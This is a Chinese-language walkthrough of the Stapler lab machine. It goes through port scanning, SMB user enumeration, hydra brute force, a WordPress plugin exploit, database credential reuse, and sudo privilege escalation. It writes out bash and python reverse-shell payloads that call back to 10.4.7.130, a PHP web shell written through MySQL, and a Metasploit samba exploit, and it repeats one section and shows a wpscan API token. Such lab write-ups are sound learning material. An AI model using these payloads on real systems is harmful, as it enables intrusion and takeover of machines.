stapler
导入
使用vmware导入时,需要修改Stapler.ovf
配置,将其中所有的Caption
替换为ElementName
,随即删除Stapler.mf
扫描
arp-scan -l
nmap -sV -A -p- 10.4.7.132
21/tcp open ftp vsftpd 2.0.8 or later
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
53/tcp open domain dnsmasq 2.75
80/tcp open http PHP cli server 5.5 or later
139/tcp open netbios-ssn Samba smbd 4.3.9 Ubuntu (workgroup: WORKGROUP)
666/tcp open doom?
3306/tcp open mysql MySQL 5.7.12-0ubuntu1
12380/tcp open http Apache httpd 2.4.18 ((Ubuntu))
此处整理下开放端口相关的信息
21端口信息收集
此处可以看到该用户可直接登录ftp
使用该账户登录ftp,发现note文件,使用get
下载到本地查看
enum探查
此处smb服务开启,使用
enum4linux -a 10.4.7.132
Enum4linux是用于枚举windows和Linux系统上的SMB服务的工具。可以快速扫出与SMB服务有关的目标中快速提取信息,kali中预装的有
得到这些用户名,然后手动将其整理成字典
此处网上大神的裁剪方法
cat username1.txt | cut -d '\' -f2 | cut -d ' ' -f1 > username1.txt
hydra爆破
hydra -L username1.txt -P username1.txt -e nsr 10.4.7.132 ftp
hydra -L username1.txt -P username1.txt -e nsr 10.4.7.132 ssh
-e nsr additional checks, “n” for null password, “s” try login as pass, “r” try the reverse login as pass
此处为-e参数的官方解释
此处爆破结果为
ftp
SHayslett SHayslett
elly ylle
ssh
SHayslett SHayslett
ftp登录后可以发现passwd文件,过滤用户后与enum探查的结果几乎一致,elly和SHayslett的文件内容也几乎一致(也可能我没看出来),没发现什么有用的信息
ssh登录过后即可提权,放在提权阶段展示
80及12380端口
正常访问80端口无果
12380端口有内容显示
此处使用dirb,nikto,dirsearch进行目录扫描,最终只有nikto包含部分有效信息
此处需要使用https访问这两个目录
https://10.4.7.132:12380/admin112233/
https://10.4.7.132:12380/blogblog/
此网页处处提及wordpress,因此考虑使用wpscan
扫描
wpscan --url https://10.4.7.132:12380/blogblog/ -e u --api-token d1fuMZc2tbhJWYk9VfNsl0GZlyYxkfH6bpL0pCKFhok --disable-tls-checks
如图会报出很多漏洞
https://10.4.7.132:12380/blogblog/wp-content/uploads/
一顿探索到此,随后谷歌搜索,找到相应漏洞
发现漏洞号为39646,随即去kali找该漏洞
searchsploit 39646
import ssl
ssl._create_default_https_context = ssl._create_unverified_context
https://10.4.7.132:12380/blogblog/
python2 39646.py
如图vi修改该py文件,此处需要python2执行,别的python版本执行都报错
执行成功过后出现一张图片
wget https://10.4.7.132:12380/blogblog/wp-content/uploads/999285400.jpeg --no-check-certificate
将该图片下载,不检查凭证后缀一定要加,不然下载不到
cat查看一下它,发现数据库的用户密码
mysql
root
plbkac
mysql -uroot -pplbkac -h 10.4.7.132
查看到用户表中有用户名及密码信息
hash-identifier
此处使用该工具辨别一下加密方式,此处发现为MD5加密
将密码聚集于一个文本中,此处先把见过的用户名的密码放在其中尝试
需要使用kali自带的字典rockyou,如果没有解压,需要使用sudo gzip -d /usr/share/wordlists/rockyou.txt.gz
解压
此处尝试的是
john
incorrect
发现可以登陆进去,碰巧还是管理员
游荡于此界面发现上传框
此处上传php文件,内容为
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.4.7.130/12138 0>&1'"); ?>
kali开启监听
nc -lvvp 12138
sudo提权
此处要查看用户的历史记录,发现家目录中全是用户
cat /home/*/.bash_history | grep -v exit
此处过滤exit是因为直接查看时,exit超级无敌多,影响观感,所以过滤掉
发现两个用户及密码
先在此处使用id命令看看用户信息
发现peter在sudo附属组中,因此此处尝试用peter登录
peter
JZQuyIN5
ssh peter@10.4.7.132
whoami
sudo su root
随机提权成功
同样的操作进行sudo提权在ssh中也可以实现,就是先前登入的那个SHayslett
用户
补充方法(多为参考各方攻略学习而来)
mysql中写入php脚本
mysql -h 10.4.7.132 -uroot -p
plbkac
MySQL [(none)]> select "<?php echo shell_exec($_GET['cmd']);?>" into outfile "/var/www/https/blogblog/wp-content/uploads/shell1.php";
点击进入该文件
然后url栏中执行
https://10.4.7.132:12380/blogblog/wp-content/uploads/shell1.php?cmd=whoami
发现有回显
随后将命令改为反弹shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.4.7.130",12138));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
https://10.4.7.132:12380/blogblog/wp-content/uploads/shell1.php?cmd=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((%2210.4.7.130%22,12138));os.dup2(s.fileno(),0);%20os.dup2(s.fileno(),1);%20os.dup2(s.fileno(),2);p=subprocess.call([%22/bin/sh%22,%22-i%22]);%27
成功反弹
随后提权方法就另外选择了
msf提权
主要针对139端口
msfconsole
search samba
use exploit/linux/samba/is_known_pipename
show options
set RHOSTS 10.4.7.132
set RPORT 139
run
成功反弹
随后提权方法就另外选择了
msf提权
主要针对139端口
msfconsole
search samba
use exploit/linux/samba/is_known_pipename
show options
set RHOSTS 10.4.7.132
set RPORT 139
run
ps:本人初学者,思路来源于各位大佬,并且本人能力有限,使用的方法较少,如果需要多种解决思路,可以看看别的大佬的内容。